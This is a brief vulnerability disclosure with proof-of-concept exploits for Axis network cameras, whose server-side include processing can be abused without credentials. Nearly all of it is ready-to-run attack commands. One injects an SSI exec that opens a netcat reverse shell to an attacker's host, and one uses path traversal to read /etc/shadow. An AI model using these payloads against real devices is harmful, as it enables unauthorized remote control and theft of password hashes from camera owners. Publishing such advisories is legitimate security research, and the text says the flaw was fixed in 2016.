Axis SSI – Remote Command Execution / Read Files
[STX] Subject: SSI Remote Execute and Read Files Researcher: bashis <mcw noemail eu> (August 2016) Release date: October, 2017 (Old stuff that I've forgotten, fixed Q3/2016 by Axis) Attack Vector: Remote Authentication: Anonymous (no credentials needed) Conditions: The cam must be configure to allow anonymous view Execute remote commands (PoC: Connect back shell): echo -en "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%20<CONNECT BACK IP>%20<CONNECT BACK PORT>%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0\n\n" | ncat <TARGET IP> <TARGET PORT> Notes: <CONNECT BACK IP> = LHOST IP <CONNECT BACK PORT> = LHOST PORT <TARGET IP> = RHOST IP <TARGET PORT> RHOST PORT Read remote files (PoC: Read /etc/shadow - check top of the returned output): echo -en "GET /incl/image_test.shtml?camnbr=%3c%21--%23include%20virtual=%22../../etc/shadow%22%20--%3e HTTP/1.0\n\n" | ncat <TARGET IP> <TARGET PORT> Notes: <TARGET IP> = RHOST IP <TARGET PORT> RHOST PORT [ETX] |